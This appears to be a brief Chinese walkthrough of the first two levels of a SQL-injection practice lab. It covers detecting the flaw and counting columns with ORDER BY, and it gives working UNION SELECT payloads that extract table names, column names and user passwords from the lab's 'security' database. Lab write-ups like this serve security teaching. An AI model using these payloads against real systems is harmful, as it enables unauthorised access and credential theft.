第一关
1.进入页面
2.在地址栏后输入?id=1
3.在?id=1后打一个单引号,发现页面报错判断存在sql注入
4.进行布尔判断看到判断为真显示正确,判断为假报错
5.进行order by 查询列 发现输入4的时候报错了,输入3的时候显示正确,说明共有3列
6.使用联合查询得到回显位置(id后要改成错误的值)
7.在任意回显位置输入database()查询数据库名
8.得到数据库名后使用内置表查询得到表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
9.再根据表名查询得到列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
10.查询列中的敏感信息
?id=-1' union select 1,2,group_concat(username,'~',password) from users--+
第二关
1.打开第二关的页面
2.还是跟第一关一样判断是否存在sql注入
3.发现进行布尔判断的时候还是显示报错
4.我们只需要把id=1后的单引号删除即可,后面的步骤跟第一关一样
后面的慢慢更新~